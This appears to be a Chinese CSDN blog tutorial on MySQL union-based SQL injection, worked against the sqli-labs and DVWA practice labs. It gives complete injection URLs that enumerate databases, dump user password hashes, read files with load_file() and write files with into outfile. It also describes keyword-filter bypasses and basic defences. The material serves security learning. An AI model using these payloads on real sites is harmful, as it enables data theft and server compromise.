sql注入(4)mysql注入

目录

1.MySQL5.x结构框架

2.高权限注入

2.1跨库查询及应用

2.1.1获取所有数据库名

2.1.2获取其他数据库的数据

2.2文件读取

2.2.1文件读取函数

2.2.2MySQL防御机制


1.MySQL5.x结构框架

  1. 在MySQL 5.0以上版本中,为了方便管理,默认定义了information_schema数据 库,用来存储数据库元信息,其中经常用到的表有:schemata(记录数据库名),tables(记录表名),columns(列名或字段名)
  2. 在schemata表中,schema_name(记录数据库名)
  3. 在tables表中,table_schema(记录存储的数据库名),table_name(表名)(schema_name和table_name都记录了MySQL中所有的数据库名)
  4. 在columns表中,table_schema(数据库名),table_name(表名),column_name(字段名)

MySQL注入涉及的information_schema库讲解_Regenwald的博客-CSDN博客

2.高权限注入

在数据库中区分有数据库系统用户/root用户,和数据库普通用户。

他们的区别如下

系统用户:所有数据库可看,文件读写正常

普通用户:单个数据库可看,文件读写失败

跨库查询是高权限注入的危害之一

假设有A、B、C三个网站采用统一数据库系统用户/root进行链接,如果其中一个网站出现注入,会导致所有网站数据泄露。

假设有A、B、C三个网站采用统一数据库普通用户进行链接,如果其中一个网站出现注入,其他网站数据不受影响。

高权限的可操作范围

(1)注册表操作

(2)所有数据库可查

(3)命令执行操作

(4)文件读写操作

注释:不同的数据库操作方式不一样,具体具体分析

2.1跨库查询及应用

2.1.1获取所有数据库名

以sqli-labs靶场less-2网站获取dvwa网站数据库为例

sqli-labs的数据库是security。

/sqli-labs-master/Less-2/?id=1 and 1=2

union select 1,group_concat(schema_name),3 

from information_schema.schemata --+

相当于语句select schema_name from information_schema.schemata

2.1.2获取其他数据库的数据

dvwa为例

#获取dvwa数据库的表
/sqli-labs-master/Less-2/?id=1 and 1=2

union select 1,group_concat(table_name),3 

from information_schema.tables where table_schema='dvwa' --+

 

可以看到,和后台查到的一样。

#获取users表的列名
/sqli-labs-master/Less-2/?id=1 and 1=2

union select 1,group_concat(column_name),3 

from information_schema.columns where table_schema='dvwa' --+

#获取表中数据

/sqli-labs-master/Less-2/?id=1 and 1=2

union select 1,group_concat(user),group_concat(password) 

from dvwa.users --+

#解密

 加密了,就浅解一下第一个吧!

 获得账号与密码之一:admin/password

验证一下,嗯,果然是正确的。

2.2文件读取

2.2.1文件读取函数

在MySQL中,内置了两个函数load_file()、into outfile()用于对文件进行操作,如果获取数据库读写权限,就可以写入一句话木马。

文件读写需要secure_file_priv 权限

secure_file_priv=null  限制mysqld不允许导入导出

secure_file_priv=/tmp/  限制mysqld导入导出只能发生在/tmp/文件下

secure_file_priv=   不对mysqld的导入导出进行限制

(1)load_file():读取函数

        在MySQL5.x版本中默认没有secure_file_priv这个选项,但是我们可以通过show global variables like '%secure%'命令查看权限,默认下secure_file_priv=null,所有我们要在mysql-ini中写入secure_file_prive=

 

 

完成以上操作后重启phpstudy ,在此查看权限,可以看到变成了【】

友情提示:实验完毕后为了安全还是将权限改回去。

 小实验:

通过sqli-labs靶场注入点读取C盘下的flag文件

/sqli-labs-master/Less-2/?id=1 and 1=2 

union select 1,load_file('C:/flag/flag.txt'),3 --+

验证一下

        总结:写路径的时候用斜杠/而不是反斜杠\的原因,是为了避免与转义字符混淆,同时也可用反斜杠,但是要使用两个反斜杠\\;在回显的时候如果内容为中文会出现乱码,可能是sqli-labs网站的原因吧(我猜的);且第一次读取的时候出现连接超时的情况,刷新再次连接就成功了。

常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客

其他获取路径的方法

报错显示:一般网站出现错误的时候它会泄露出路径

遗留文件:站长为了调试信息的时候遗留的文件而泄露的 路径,用扫描工具可以扫出

漏洞报错:知道对方是用什么程序搭建再去网上去搜索对应漏洞信息,如phpcms 爆路径

平台配置文件:通过读取文件来读取搭建网站平台的配置文件,缺点是路径不是默认的,一旦更改很难找到路径

爆破等......

 

(2)into outfile() 或者into dumpfile():导出函数

into outfile() 能写入多行,按格式输出

into dumpfile()只能写入一行且没有输出格式

小实验:

使用into outfile()函数写入到C盘

通过注入点

/sqli-labs-master/Less-2/?id=1 and 1=2 

union select 1,'i love CDUT',3 

into outfile 'C:\\flag.php'; --+

 页面上并没有什么显示,验证一下。可以看到把1和3也写进去了。

 通过数据命令写入

验证一下

2.2.2MySQL防御机制

(1)魔术引导

即magic_quotes_gpc,MySQL内置的安全机制

在magic_quotes_gpc=on的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。

在PHP6中删除了这个选项,因为一切的编程都需要在magic_quotes_gpc=Off下进行了。在这样的环境下如果不对用户的数据进行转义,后果不仅仅是程序错误而已了。同样的会引起数据库被注入攻击的危险。所以从现在开始大家都不要再依赖这个设置为On了,以免有一天你的服务器需要更新到PHP6而导致你的程序不能正常工作。

注释:以上是大佬对magic_quotes_gpc这个函数的讲解,我开启后提示这个函数已经不可用了,但是如果你用低版本做实验后还是关闭这个函数,免得以后写php代码或者更新一些基于php语言的软件时报错。

 

 

绕过方法之一

是使用编码器对写入路径进行编码,如使用小葵转换工具

 (2)is_int函数过滤

is_int():判断传值是否为整数

is_numeric():判断传值是否为数字或者数字字符串

即类型过滤,改一下源码。这里用is_numeric()这个函数恰当一点,is_int就算你输入?id=1也会报错。

再次访问一下sqli-labs靶场,发现成功对注入字段进行了过滤

 /sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,3 --+

具体的绕过方法参考如下

php中is_numeric函数的绕过_T0mrvvi1b3t的博客-CSDN博客_is_numeric绕过

[CTF]php is_numeric绕过_真·skysys的博客-CSDN博客_is_numeric绕过

(3)自定义关键字

比如select

 执行效果

/sqli-labs-master/Less-2/?id=1 and 1=2 union select1,2,3%20 --+

 绕过方法

大小写混合或者对关键字进行编码

/sqli-labs-master/Less-2/?id=1 and 1=2 union SELECT 1,2,3%20 --+

(4)WAF防护软件

安全狗、宝塔等(了解,后期具体学习)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值